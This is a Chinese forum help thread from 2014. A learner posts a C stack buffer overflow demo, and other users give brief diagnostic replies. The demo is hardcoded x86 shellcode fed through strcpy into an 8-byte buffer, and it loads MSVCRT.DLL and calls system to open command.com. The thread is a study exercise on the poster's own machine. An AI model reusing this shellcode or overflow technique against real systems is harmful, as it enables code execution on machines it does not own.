缓冲区溢出问题

LIU784606255 2014-04-06 07:37:43
#include"stdio.h"
#include"string.h"

char name[] =

{
"aaaabbbbcccceeee"

"\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"


"\x7C\x80\x1D\x7B"

"\x52\x8D\x45\xF4\x50"

"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

"\x50\xB8"



"\xc3\xaf\x01\x78"

"\xFF\xD0"





};
int main()

{
int i=0;

char copyname[8];
strcpy(copyname,name);
for(i=0;i<8;i++)
printf("\\x%x\n",copyname[i]);

return 0;
}




这是打开cmd的源码,为什我总是溢出失败,在vc下调试,显示非法访问,一开始,就连jmp esp就提示非法访问,我关闭了DEP以后可以执行堆栈中的代码了,可是到这又有问题,
...全文
202 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
1cctv 2014-04-28
  • 打赏
  • 举报
回复
缓冲区溢出,是硬编码,依赖OS的版本和补订情况,你得确认一下那段编码可用的环境。 另外,缓冲区溢出很少能优美结束,成功溢出后,多是以一个非法操作结束。
WJN92 2014-04-26
  • 打赏
  • 举报
回复
strcpy(copyname,name); 这样当然溢出啦 strcpy 好象有重载复制多少个字符的
__cc__ 2014-04-09
  • 打赏
  • 举报
回复
而且是把堆栈的东西冲掉了,ESP这些指针都乱了。
__cc__ 2014-04-09
  • 打赏
  • 举报
回复
引用 楼主 LIU784606255 的回复:
#include"stdio.h" #include"string.h" char name[] = { "aaaabbbbcccceeee" "\x12\x45\xfa\x7f" "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7C\x80\x1D\x7B" "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc3\xaf\x01\x78" "\xFF\xD0" }; int main() { int i=0; char copyname[8]; strcpy(copyname,name); for(i=0;i<8;i++) printf("\\x%x\n",copyname[i]); return 0; } 这是打开cmd的源码,为什我总是溢出失败,在vc下调试,显示非法访问,一开始,就连jmp esp就提示非法访问,我关闭了DEP以后可以执行堆栈中的代码了,可是到这又有问题,
你想干嘛, char copyname[8]; strcpy(copyname,name);这个操作就溢出了。

21,498

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧